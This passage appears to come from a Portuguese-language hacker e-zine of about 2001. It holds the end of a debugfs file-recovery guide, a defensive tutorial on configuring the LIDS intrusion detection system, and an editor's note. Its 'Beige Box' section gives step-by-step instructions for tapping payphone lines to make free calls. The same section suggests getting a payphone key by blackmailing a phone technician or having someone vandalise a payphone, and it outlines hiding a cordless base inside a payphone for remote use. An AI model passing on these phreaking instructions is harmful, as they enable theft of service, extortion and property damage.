1004 100644    114    1/   1 Wed Dec  5 01:39:14 2001 430877   1004 100644
26    1/   1 Wed Dec  5 01:39:14 2001 430883   1004  40700      0    1/
1 Wed Dec  5 01:39:14 2001 399218      0 100644    743    1/   1 Sat
Dec  8 00:57:05 2001 333331      0 100644     32    1/   1 Thu Dec 13
19:29:03 2001 333334      0 100644  14148    1/   4 Thu Dec 13 20:03:50
2001 333344      0 100644   3070    1/   1 Thu Dec 13 20:03:50 2001 ...

Para criar uma lista em um arquivo, para se quizer imprimir ou fazer algum
mecanismo de busca pelo inode mais facilmente, voce pode fazer o seguinte:

# echo lsdel | debugfs /dev/hda1 > apagados

Com isso todos os apagados vao estar no arquivo "apagados".  Cada inode
possue um numero, com o comando "stat" do debugfs eh possivel obter
informacoes sobre cada inode. Veja:

debugfs: stat <inode>

Como vemos os inodes apagados possuem a data e a hora da delecao o que
vamos fazer eh comparar com a data e hora da delecao do nosso arquivo.

Nosso arquivo foi apagado em "7 Web Dec" as "00:23:52", com isso
olhando na lista de inodes apagados achamos o inode "267948". Vamos obter
algumas infor macoes sobre este inode. Digite isto ja dentro do prompt do
"debugfs":

stat <267948>

Vai ficar:

debugfs:  stat <267948> Inode: 267948   Type: regular    Mode:  0644
Flags: 0x0   Version: 1 User:  1000   Group:   100   Size: 25262 File
ACL: 0    Directory ACL: 0 Links: 0   Blockcount: 52 Fragment:  Address:
0    Number: 0    Size: 0 ctime: 0x3c0da158 -- Wed Dec  5 00:23:52
2001 atime: 0x3becaec1 -- Sat Nov 10 00:36:17 2001 mtime: 0x3ae832ab --
Thu Apr 26 10:37:31 2001 dtime: 0x3c0da158 -- Wed Dec  5 00:23:52 2001
BLOCKS: 349665 349666 349667 349668 349669 349670 349671 TOTAL: 7

debugfs:


Obtemos varias informacoes importantes para nos, como Uid e Gid, assim
como tamanho e quantidade de blocks(blocos) utilizados. Vemos que
temos um total de "7 blocos", podemos assim recuperalo sem problemas.
Podemos  recuperar arquivos com ate "12 blocos" mais que isso fica muito
complicada a recupera cao. Como o nosso possue 7 blocos nao ah nenhum
problema. Podemos ainda obter mais informacoes sobre o inode com o comando
"cat" do debugfs. Veja:

debugfs:  cat <inode> debugfs:  cat <267948>

Com isso se ve o Conteudo do inode, se o conteudo for um arquivo texto
legivel serah facil identificar, se for um binario nao terah muita
utilidade.


Recuperando o arquivo...

Vai  depender do  numero de Blocos que o inode comtem, como ja falamos
se o inode conter mais de 12 blocos a operacao fica complicada pois o
inode vai apontar para um outro inode onde os blocos restantes estao,
mas nao eh impos sivel. Deixe para uma outa vez. ;) Vemos  que  o  nosso
inode possue 7 blocos, entao vamos  recuperalo. Vamos usar o debugfs para
gravar o arquivo em um novo local, por exemplo /tmp/recu perado.0. Vamos
usar para isso o comando "dump", que vai gravar o arquivo no nosso novo
local. Digite no debugfs:

dump <267948> /tmp/recuperado.0

Vai ficar:

debugfs:  dump <267948> /tmp/recuperado.0 debugfs:

debugfs:  quit

Pronto, nosso arquivo esta lah. Abrao e verifique se eh ele mesmo, se
nao for repita tudo ate achalo, verificando corretamente os dados como
data e hora. Mas se for ele mesmo, terah uma grande alegria pois  ele
estarah de volta aos seus bracos. :) Pode  acontecer  de  o inode ter
sido corrompido, isto traria sequelas ao arquivo. Isso se nao realizar
todo a operacao logo apos a delecao. Se  as im fizer e tomar os devidos
cuidados nada de mal acontecerah.

Um ultimo conselho para evitar operacoes como esta eh sempre fazer Backups
de tudo que considera importante no seu sistema. Estah aih, espero que
seus arquivos na particao Ext2, nao sejam mais perdidos pra sempre. ;)

















                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$            [09] - LIDS              $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                EvilLord               $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;





-------------------------------------------------------.
 Introducao ao LIDS (Linux Intrusion Detection System) |
-------------------------------------------------------'

	Bem, este eh a primeira materia que escrevo para a zine BTH
	do meu amigo Hophet, este texto irah abordar o Linux Intrusion
	Detection System, abrangendo desde introducao e instalacao ateh
	sua configuracao e uso.  Espero que voce "fucador" aprenda o
	maximo que puder com este simples texto, e lembre-se de que nos
	estamos aqui para lhe abrir a porta, mas eh voce q tem de entrar!


----------------.
 0x00 - Indice	|
----------------'

	0x01 - Introducao 0x02 - Sistema Utilizado 0x03 - Download 0x04
	- Instalacao & Configuracao 0x05 - Compilando LIDSadm 0x06 -
	Pre-Configuracao do /etc/lids 0x07 - Capabilidades 0x08 -
	Configurando Regras 0x09 - Concluindo 0x0a - Referencias


--------------------.
 0x01 - Introducao  |
--------------------'

	LIDS eh um complemento a seguranca ao Kernel do GNU/Linux, foi
	escrito por Xie Huagang e Philippe Biondi.  Entre suas principais
	funcoes estao a protecao de arquivos e de processos, detector
	de port scanners, protegendo assim seu sistema de acessos
	indesejaveis atraves de ACLs (Access Control Lists - Listas
	de Controle de Acesso) que protegem os processos e arquivos de
	seu sistema.  O LIDS pode ser encontrado para download em sua
	pagina oficial: www.lids.org.  LIDS suporta os kernels 2.2.x
	estavelmente, e 2.4.x.


---------------------------.
 0x02 - Sistema Utilizado  |
---------------------------'

	Para esta materia, usarei o seguinte sistema:

	Slackware GNU/Linux 8.0 Kernel: 2.2.19 LIDS versao: 0.10


------------------.
 0x03 - Download  |
------------------'

	Faca o download do LIDS em: www.lids.org/download.html Como jah
	citado, utilizei a versao 0.10 nesta materia, o pacote do LIDS
	esta apresentado da seguinte forma:

	lids-<versao_do_lids>-<versao_do_kernel>.tar.gz

	Exemplo:

	lids-0.10-2.2.19.tar.gz

	Apos efetuado o download, vamos a instalacao...


-----------------------------------.
 0x04 - Instalacao & Configuracao  |
-----------------------------------'

	Vamos iniciar a instalacao, primeiramente descompacte o pacote:

	# tar -xvzf lids-0.10-2.2.19.tar.gz

	Serah criado o diretorio lids-0.10-2.2.19.

	Agora, vamos aplicar o patch ao kernel, suponhamos que o diretorio
	lids-0.10.2.2.19 esteja no diretorio /home:

	# cd /usr/src/linux # patch -p1
	</home/lids-0.10.2.2.19/lids-0.10-2.2.19.patch

	Pronto, o patch jah estah aplicado, agora, vamos a compilacao
	do Kernel:

	# cd /usr/src/linux

	# make mrproper

	# make menuconfig

	Como a configuracao do Kernel pode diferir sua ordem, colocarei
	aqui somente as opcoes necessarias ao LIDS e seu respectivo menu:

	Code maturity level options --->

	[*] Prompt for development and/or incomplete code/drivers


	General setup --->

	[*] Sysctl support

	E aqui temos as funcoes necessarias ao LIDS:

	Linux Intrusion Detection System --->

	[*] Linux Intrusion Detection System support (EXPERIMENTAL)

	--- LIDS features

	(1024) Maximum protected objects to manage

	(1024) Maximum ACL subjects to manage

	(1024) Maximum ACL objects to manage

	(1024) Maximum protected proceeds

	[ ] Hang up console when raising a securit alert

	[ ] Security alert when execing unprotected programs before
	    sealing LIDS

	[*] Try not to flood logs

	(60)Authorised time between two identic logs (seconds)

	[*] Allow switching LIDS protections

	(3)Number of attempts to submit password

	(3) Time to wait after a fail (seconds)

	[ ] Allow remote users to switch LIDS protections

	[ ] Allow any program to switch LIDS protections

	[*] Allow reloading config. File

	[*] Port Scanner Detector in kernel

	[*] Send security alerts through network

	[ ] Hide klids kernel thread

	(3) Number of connection tries before giving up

	(30)Sleep time after a failed connection

	(16)Message queue size


	Agora, o ultimo passo para a compilacao do kernel com suporte
	ao LIDS:

	# make dep clean bzImage

	OBS1: Para mais detalhes sobre compilacao do Kernel consulete o
	      Kernel HOW-TO.

	OBS2: Nao se restrinja a cumprir este tipo de compilacao de
	      Kernel que eu citei acima, compile-o conforme seu gosto,
	      e como dito acima, leia o Kernel HOW-TO.


----------------------------.
 0x05 - Compilando LIDSadm  |
----------------------------'

	Bem, vamos compilar o LIDSadm,

	# cd /home/lids-0.10-2.2.19/

	# make

	# make install

	Isso eh tudo, agora partiremos para a configuracao do lids.


---------------------------------------.
 0x06 - Pre-Configuracao do /etc/lids  |
---------------------------------------'

	Primeiramente iremos gerar a senha para o LIDS:

	# lidsadm -P

	MAKE PASSWD enter password: Verifying enter password: wrote
	password to /etc/lids/lids.pw

	Pronto amigo, a senha jah foi escrita no arquivo
	/etc/lids/lids.pw.

	Agora precisamos editar as capabilidades e as configuracoes para
	o envio de e-mails. Esses arquivos sao sucessivamente "lids.cap"
	e "lids.net", voce encontra-ra esses arquivos anexos a BTH Zine.
	(OBS: Os arquivos anexos foram retirados da pagina oficial do
	      LIDS, altere-os da forma que desejar).


<++> lids/lids.cap

-0:CAP_CHOWN -1:CAP_DAC_OVERRIDE -2:CAP_DAC_READ_SEARCH -3:CAP_FOWNER
-4:CAP_FSETID -5:CAP_KILL -6:CAP_SETGID -7:CAP_SETUID -8:CAP_SETPCAP
-9:CAP_LINUX_IMMUTABLE -10:CAP_NET_BIND_SERVICE -11:CAP_NET_BROADCAST
-12:CAP_NET_ADMIN -13:CAP_NET_RAW -14:CAP_IPC_LOCK -15:CAP_IPC_OWNER
-16:CAP_SYS_MODULE -17:CAP_SYS_RAWIO -18:CAP_SYS_CHROOT -19:CAP_SYS_PTRACE
-20:CAP_SYS_PACCT -21:CAP_SYS_ADMIN +22:CAP_SYS_BOOT -23:CAP_SYS_NICE
-24:CAP_SYS_RESOURCE -25:CAP_SYS_TIME -26:CAP_SYS_TTY_CONFIG
+27:CAP_HIDDEN -28:CAP_INIT_KILL

<-->


<++> lids/lids.net

# LIDS # Send Alert Message From Network #
for lids 0.9.8 #       xie@gnuchina.org #
-----------------------------------------------------------------

# MAIL_SWITCH = 1 | 0 # 1 , send alert function is on # 0, send alert
function is off

MAIL_SWITCH=1

# MAIL_RELAY=hex IP:port # IP11.1 of the machine that will be directly
connected by LIDS # for relaying its mails. Port is usually 25, but
who knows...  MAIL_RELAY=127.0.0.1:25

# MAIL_SOURCE=source machine : # Name of the source machine, used for
the ehlo identification.  # Note that a bad name here could make the
mail relay refuse your # mails.  MAIL_SOURCE=wildkarde.clublinux.org

# MAIL_FROM=sender address #	      Sender address, which will also
be in the ``from'' field.  MAIL_FROM=root@clublinux.org

# MAIL_TO=recipient address : #		 Recipient address.
MAIL_TO=steve@clublinux.org

# MAIL_SUBJECT= subject : #	     Subject of the mail.
MAIL_SUBJECT=LIDS ALert

<-->


	Antes de proseguirmos em frente, vejamos o que fazem os arquivos
	que foram citados nesta parte da nossa jornada:

	lids.cap  = Sao as capabilidades do LIDS, sao adicionadas com um
		    "+" e desabilitadas com um "-".

	lids.net  = Arquivo de configuracao de envio de e-mail.
		    Este arquivo contem as informacoes do servidor de
		    e-mail, o remetente e o destino, e se a opcao de
		    "alerta" por e-mail serah abilitada.

	lids.conf = Arquivo de configuracao dos subjects e objects.
		    (OBS: Este arquivo nao deve ser editado manualmente).

	lids.pw   = Este arquivo, como a extensao sugere, armazena a
		    senha criptografada.

	Apos esta pequena explanacao podemos seguir em diante...

	Nossas ultimas acoes foram criar uma senha e editar os arquivos
	"lids.net" e "lids.cap". Agora, vamos editar o arquivo
	"lids.conf":

	Digite em seu console:

	# lidsadm -L

	Voce verah as regras default que jah vem pre-configuradas com o
	LIDS. Mas nao queremos usa-las, por isso limparemos o arquivo
	e iniciaremos a edicao do mesmo. Para limparmos o arquivo
	"lids.conf", usamos a seguinte sintaxe de comando:

	# lidsadm -Z

	Atualizaremos o arquivo "lids.conf":

	# lidsadm -U

	Isso irah atualizar os Inodes.

	Agora iremos editar o arquivo "/etc/rc.d/rc.local" e adicionar
	o seguinte comando na ultima linha deste arquivo:

	/sbin/lidsadm -I

	Isso irah celar o kernel e iniciar o LIDS apos o boot.


	(OBS: O arquivo "rc.local" pode estar em outro diretorio
	      dependendo da sua distribuicao GNU/Linux).

	Certo, agora iremos rebootar a maquina para que possamos iniciar
	a configuracao do nosso LIDS.

	Antes de rebootar cheque se os arquivos "lids.net", "lids.cap",
	"lids.conf" e o lidsadm estejam em seus respectivos diretorios.
	Verifique tambem se todos os arquivos do diretorio do LIDS estao
	presentes e se suas permissoes estao corretas, caso contrario
	o seu sistema nao irah bootar.

	Se voce seguiu todos estes passos corretamente, seu LIDS estarah
	rodando em seu sistema perfeitamente.


-----------------------.
 0x07 - Capabilidades  |
-----------------------'

	Capabilidade = Capacidade, Direito

	O LIDS usa das Capabilities para definir o que voce pode ou
	nao pode fazer no sistema, essas Capabilities sao nativas do
	kernel, elas sempre existiram e sempre existirao no seu sistema.
	Vejamos algumas Capabilities:

	CAP_DAC_OVERRIDE: Direito de acessar o DAC CAP_NET_BIND_SERVICE:
	Binda portas TCP/UDP abaixo de 1024 CAP_DAC_READ_SEARCH: Direito
	de ler o DAC CAP_HIDDEN: Capacidade de criar processos invisiveis.
	CAP_SETGID: Execucao de arquivos com o GID forjado.  CAP_SETUID:
	Execucao de arquivos com o UID forjado.  CAP_CHOWN: Direito de
	trocar o dono do arquivo CAP_SETPCAP: Seta a Capacidade de um
	lugar para um PID qualquer.  CAP_SYS_MODULE: Iniciar e remover
	Kernel Modules.  CAP_LINUX_IMMUTABLE: Modificacoes em atribuicoes
	de arquivos.  CAP_NET_ADMIN: Capacidade de administracao de rede.
	CAP_NET_RAW: Capacidade de utilizacao de RAW Sockets.
	CAP_SYS_CHROOT: Capacidade de acessar chroot.
	CAP_PTRACE: Capacidade de executar strace.
	CAP_SYS_ADMIN: Capacidade de administracao do sistema.
	CAP_SYS_BOOT: Capacidade de rebootar os sistema.
	CAP_SYS_TIME: Capacidade de alterar configuracoes de data do sistema.
	CAP_SYS_TTY_CONFIG: Capacidade de configurar as tty's.

	Voce encontrarah mais informacoes sobre Capabilidades na pagina
        oficial do Linux Intrusion Detection System.

	Partiremos agora para a real configuracao de nossas regras.


-----------------------------.
 0x08 - Configurando Regras  |
-----------------------------'

	A configuracao eh a parte onde diremos o que queremos ou nao
        executar no sistema, por isso, antes de iniciar uma configuracao
        de regras, faca uma lista do que voce quer e nao quer que
        seja executado em seu GNU/Linux.
	
	Usaremos para isso o "lidsadm" (Ferramenta de Administracao do
        LIDS), vejamos os comandos basicos do lidsadm:

	-V = Esta opcao lista as capabilidades contidas no arquivo "lids.cap";
	-L = Esta opcao lista o conteudo do arquivo "lids.conf";
	-Z = Esta opcao limpa o conteudo do arquivo "lids.conf";
	-A = Esta opcao adiciona objetos ao arquivo "lids.conf";
	-D = Esta opcao deleta objetos do arquivo "lids.conf";
	-I = Esta opcao abilita o LIDS;
	-U = Esta opcao atualiza os Inodes;

	-o file/dir = Se referencia a objetos;
	-j target   = JUMP do target;
	-s file/dir = Se referencia a um objeto jah criado;
	-i 0|1|-1   = Nivel de heranca de permicao.
	
	Vejamos alguns comandos basicos:

	lidsadm -S -- +LIDS	        (Liga o LIDS no terminal)
	
	lidsadm -S -- -LIDS	        (Desliga o LIDS no terminal)

	lidsadm -S -- +LIDS_GLOBAL	(Liga o LIDS no sistema inteiro)

	lidsadm -S -- -LIDS_GLOBAL	(Desliga o LIDS no sistema inteiro)

	lidsadm -V 	                (Ve o estado do LIDS no sistema)

	lidsadm -S -- +CAP_CHOWN	(Adiciona uma Capabilidade)

	lidsadm -S -- -CAP_CHOWN	(Desabilita uma Capabilidade)

	

	Para mais informacoes sobre comandos do lidsadm, consulte sua
	man page: "man lidsadm".

	Chegamos a parte interessante (como se o resto nao fosse =)) da
	nossa jornada, a configuracao das regras no seu sistema.

	Para um aprendizado facilitado, irei colocar exemplos de
	regras criadas, jah que a sintaxe de criacao das regras do LIDS
	varia a cada caso...

	lidsadm -A -o /home -j READ

	(O diretorio /home sera somente para leitura, incluindo seus
	arquivos e subdiretorios).


	lidsadm -A -o /home -j DENY

	(O diretorio /home serah INVISIVEL!)


	Um detalhe sobre esta sintaxe, quando "dizemos" que o arquivo
	serah invisivel, isso significa que ele nao existira mais!
	Voce deve estar pensando "mas, se eu quiser tornar um arquivo, 
	como o /etc/shadown invisivel, como eu irei logar no sistema
	depois se ele nao existira mais ?!?".
	Nao se preocupe, o LIDS possibilita isso, com esta regra
	possibilitara que voce logue normalmente no sistema, pois serah
	permitido o uso do /bin/login, mesmo que o /etc/shadown esteja
	invisivel, ou seja, eh como uma permissao, voce dirah quais
	programas poderao executar, ler ou escrever algo naquele arquivo
	ou diretorio que voce tornou invisivel:

	lidsadm -A -s /bin/login -o /etc/shadown -j READ

	Neste exemplo o "/bin/login" poderah ler o conteudo de 
	"/etc/shadown", mesmo que este esteja invisivel!


	lidsadm -A -o /home -j APPEND

	(Com esta regra, os arquivos do diretorio /home soh
	receberao dados)


	idsadm -A -s /sbin/syslogd -o CAP_HIDDEN -j GRANT

	(Esta regra eh muito interessante, ele esconte o processo
	"syslogd" do "ps", do arquivo "proc" e quando algum script
	tentar killar o mesmo, falhara!)
                
	OBS: Executando esta regra, nem mesmo o "halt" poderah 
	     killar o processo em questao, e assim o sistema nao sera
	     desligado, pois o "init" nao poderah desmontar as
	     particoes com este processo rodando. Para a resolucao
	     deste problema, RODRIGO P. TELLES publicou um exelente
	     tutorial na pagina da Linux Security Brasil
	     <www.linuxsecurity.com.br>, recomendo a sua leitura!


--------------------.
 0x09 - Concluindo  |
--------------------'

	O LIDS eh uma exelente ferramenta em seu sistema, voce deve
	ter reparado isso, com ele voce pode determinar o que um
	usuario deve ou nao deve fazer, inclusive o root!

	Espero que este tutorial seja bem aproveitado por vc amigo
	fucador. E lhe peco que nao se detenha as minhas simples
	palavras, fuce, corra atras de mais informacoes, nunca
	deixe de aprender! Cada minuto a mais de estudo corresponde
	a um minuto a mais de vida!
	Nao poderia de deixar meus agradecimentos aos meus amigos:
	Hophet (por disponibilizar este espaco em sua e-zine),
	Blood Sucker (por ser meu irmao de sangue =) e por ter
	revisado este tutorial e testado as regras),
	Nash Leon (por ser o que vc eh e sempre serah para todos
	nos!), module (moduuu! =)), eSc2 (irmonaum bunitu C= ),
	klogd (por animar nossas conversas! hehehe), meleu (voce eh
	d+ meleu zordi!), hts (japa japa hack! =)), emminha (:*),
	rx (graaande fera!), e a tantos outros irmaos que tenho, e
	que esqueci de mencionar o nome aqui, sorry.. sorry! a toda
	a Unsekurity Scene, sem ela nao seriamos nada! PENSEM NISSO!
	Finalizando minhas ultimas palavras neste simples texto, 
	gostaria de citar uma frase:

	"A unica coisa que ninguem pode tirar de nos eh o conhecimento!"


---------------------.
 0x0a - Referencias  |	
---------------------'

	"LIDS - Linux Intrusion Detection System"
	Escrito por Rodrigo P. Telles e publicado na Linux Security Brasil.
	http://www.linuxsecurity.com.br (procurar por lids)

	"LIDS - Linux Intrusion Detection System"
	Escrito por Denis Galvao <denis@sigma.com.br>.

	"LIDS FAQ"
	Escrito por Steve Bremer <steve@clublinux.org>.

	"Documentacao inclusa no pacote LIDS"

 - end of Introducao ao LIDS - Linux Intrusion 	Detection System -

		
	















                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$    [10] - Beige Box Local           $
        $$$$$$             e Remota              $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                  r0ot                 $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;




-----------
 Beige Box |
-----------

Queria agradecer ao meu mano hophet por ceder tal espao em sua tima zine.. 
valeuz mano ;*

Ae manos , nesse pekeno txt ensinarei  a  tekneek  da  beige box muitos txts 
ensinam essa parada - jah vi texto de 1985 - mas vou dar umas ideias a  vc's 
q curtem o phreaking!!

O conceito eh simples, efetuar ligacoes sem pagar de TP's(Telefones Publicos) 
-  mas  como?  Olhe  atras do orelhaum veja q tem um cano de metal de mais ou 
menos 4cm a 5cm  de diametro  e  bem alto...  eh por alih q passa o fio com a 
linha... e junto a ele tem o cano azul q sustenta o orelhaum alih vc pode ter 
acesso ao fio q passa a linha vou fazer um ascii pra ficar mais facil.   
 
                        
                       ||      <- aki eh o cano metalico bem alto
                       ||     
                       ||     _____       
                       ||    /      \    
                       ||   /__
                       || _|   |            <-- akele troo enorme onde 
                       ||| |___|                 fika o aparelho
                       ||| |\ 
                       ||| | \_____/
                       ||| |
                       ||| |   <- esse eh o nosso cano azul
                       |||_|


Vc vai precisar de jacarehs...  (se naum souber oq eh naum tem proh va nessas 
lojas de eletronica e peca eles saberaum) e um telefone convencional. ao inves 
de usar akela pecinha quadrada no fio q vai pra tomada... apenas corte (vaum 
sair 4 fios de dentro) use apenas os dois do meio e ligue-os aos jacarehs pron
tinho  nosso  telefone  tah  pronto  agora  va ao TP e sem q ninguem veja (axo 
dificil) puxe  o  fio q passa no cano azul (mais grosso) note q ele possui uns 
furinhos perto do dito cujo orelhaum... descasque-os e plugue seus jacarehs...
oq vc vai ouvir? - seu telefone vai dar sinal de linha... mas qndo vc for tentar
discar ele naum funfarah...porq????!! pq o circuito naum se fecha ele prossegue 
ateh o orelhaum(thanks f3i0) heeh... um simples corte no fio resolve o proh!!!

Mas isso  eh  um tremendo de um flagrante... imagina vc no meio da rua falando 
com a sua gata com uma gambiarra no orelhaum.. a vizinhanca logo chamarah a po
licia e quem se ferra eh vc...

A primeira coisa a fazer eh reduzir ao maximo o tamanho do seu telefone...use 
de preferencia akeles comuns... vou tentar mostrar:

   ______________            ___________
  |        ____  |___________|   ____   |
  |       |    | |           |__/    \__|
  |       |____| |
  |_____________ |
 

Desses dae galera... ele pode ficar bem menor basta vc abri-lo e vc vai ver um 
chip  mais ou menos do tamanho do teclado... seu telefone vai ficar do tamanho 
do teclado.  Vc  pode  fazer uma caixinha de madeira - no meu caso eu usei uma 
caixa de cartucho de impressora HP ficou rulez hehe. E tente arranjar um phone 
dakeles do tipo da Ana maria braga vc sabe qualeh!!!

C pode discolar a chave do telefone publico...como????!?!?! Uma maneira eh um 
primo seu q trabalha na companhia ou primo do seu amigo um conhecido sei lah... 
liga pra companhia telefonica e diz q sua linha tah com proh (se tah com proh 
como vou ligar?) e qndo o tecnico xegar chantegeia o cara huhuh... outra mane
ira eh pedir prakele seu amigo vandalo kebrar um TP e arrancar a fechadura pra 
vc...se vira, humm jah tenho a chave e agora....

Aih jah muda bastante o jogo...e a vantagem fica com vc se vc possuir a chave 
o eskema da beige box se torna mais facil vou tentar explicar.. qndo abrimos o
TP oq vemos eh uma grande placa no centro colada no fundo do TP...

     _______________
    |   ________    |
    |  |        |   |   Eh mais ou menos isso, esse quadrado do meio eh a 
    |  |        |   |   placa, akele quadrado no canto inferior esquerdo lah
    |  |        |   |   eh onde a linha eh conectada note q lah tem dois 
    |  |        |   |   parafusos e de lah sai um cabo para a placa eh
    |  |________|   |   justamente nesse parafusos q plugamos nossos jacares
    |___            |
    |___|___________|


Axo  q  com  esse  desenho  podre dah  pra ter uma ideia... mas qndo vc abri-lo 
naum vai sentir dificuldades para axar.....aki vai uma dica simples, naum plugue 
os jacarehs  direto  nos  parafusos  pois  vc naum conseguirah discar (pois como 
expliquei  acima  segui a tensaum e nada acontece qndo discamos) recomendo q vcs 
despluguem  o cabozim q vai ateh a placa OU use um metodo mais interessante tire 
o telefone do gancho vc ouvirah o sinal de linha (isso o TP fechado) e aperte as 
teclas * + 0 + 0 + 0 + 0   ->  asterisco  depois  4 numeros eu coloquei zero pra 
exemplificar  com  esse codigo o telefone se auto desliga... veja q naum ha mais 
sinal de linha agora abra plugue os jacarehs e ligue pra kem kiser.. esse eskema 
eh melhor pq vc fica "dentro" do orelhaum e eh mais dificil das pessoas q estejam 
passando perceber e torna-se quase impossivel qndo eh a noite!!!

Eu pesso q tenham cuidado qndo tentarem fazer isso... a responsabilidade eh sua;)
(esse eskema serve para TP's icatel 5001 - os azuis e pretinhos heheh) por favor 
qndo forem fazer isso por favor liguem pra mim seus putos bom galera  esse eh um 
texto  bastante  simples   e   na  medida  do  possivel  q nos  adquiramos  mais 
conhecimentos possamos ampliar nossos horizontes e seguir o hacking etico tomara 
q esse seja o primeiro de muitos textos q viraum aih!!


------------------
Beige Box Remota  | 
------------------

Eu queria dar uma deixa aki...

Eu  particularmente  nunca  testei  esse  conceito  q  vou  explicar  agora mas 
realmente eh valido e pretendo test-lo. Trata-se da beige box remota!!!! hehe, 
mas COMO?? A ideia  eh  com  um  telefone sem fio vc fikar distante do TP usando 
a linha do OREIAUM.

Seguinte ...   arranje   um   telefone  sem  fio ,  abra-o  (akeles TOshiba) que 
saum pekenininhos dae vc "planta" a base (que jah naum eh mais a base - pois  vc
retirou a placa e deixou-o pekenino ;) Se naum entenderam vou repetir, vc planta 
a base do  telefone  dentro  do  orelhaum  ligada a linha do mesmo, e pode ligar 
a uma distancia confiavel e segura do orelhaum!!!!!

Mas  como  vou  alimentar a base???? - eh preciso uma bateria de 9 volts isso eh 
facil de axar... vc deve tah se perguntando.. isso eh um orelhaum ou um  galpaum 
hehe mas cabe sim mano tem bastante espao dentro do TP! Esse foi soh o conceito 
galera  kem sabe numa proxima ocasiaum eu possa escrever com mais detalhes sobre 
isso. obrigado ;)

Bom galera vou ficando por aki... o eskema de beige box comum eu jah testei mas o 
de  Beige  Remota  eu  nunca  contemplei ... fikem  a  vontade para test-lo e se 
aconseguirem mandem-me um emaiu (de qualker forma mandem-me um email criticando, 
elogiando sei lah)

Meu agradecimento a todos q nos apoiam - anjinho - decodi e o feioso []'s galerah
do #dnh

Tah uma bosta mas espero q ajude hehe.















                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$    [11] - Esclarecimentos           $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;







"Tenho andado distraido, impaciente e indeciso..."
Bom, alguns de voces devem ter reparado que ando um pouco
(ou muito) sumido da "cena" atualmente, tanto que a propria
E-Zine bth, ficou parada (e ficara) por alguns meses.
O motivo pelo qual essa edicao foi lancada, eh que eu havia
iniciado a sua "edicao" antes de varios problemas que ocorre
ram e por isso ela esta aqui pelo menos finalizada com a ajuda
de algumas pessoas (gracas a elas) que ajudaram com que ela 
pudesse pelo menos ser publicada. Porque se fosse por min, ela
nao seria.

Confesso que a qualidade desta edicao dechou a desejar ateh pra
min. Peco desculpas por algumas materias ja terem sido publicadas
antes do lancamento oficial desta edicao da zine e pelo pequeno
numero de materias. Mas foi o que deu pra fazer. Se nao gostou
soh nao leia mais, mas quem sabe se vc ajudar nao melhore ;)
hehehe.

Se vai existir a edicao 04??! Soh deus sabe. O motivo pelo qual
eu paro a edicao da zine temporariamente eh muito trabalho e 
estudo, pois no final do ano preciso passar no Vestibular e tem
que ser Univesidade Publica. O motivo pelo qual tenho andado
sumido da net eh pq estou tendo varios problemas e assim que
os solicionalos eu estarei de volta a ativa com todos vcs. 
Tou sentido falta de todos e desde ja mando um abraco a todos.

Tamos com uma pagina nova novo design feito pelo EvilLord, como
ja devem ter visto o endereco eh http://bth.host.sk/
Eu vou parar com a E-zine bth por enquanto, mas sempre que puder
escrever textos ou materias pra pagina ou ateh pra outras zines
eu escreverei.













                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$       [12] - enf of file            $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
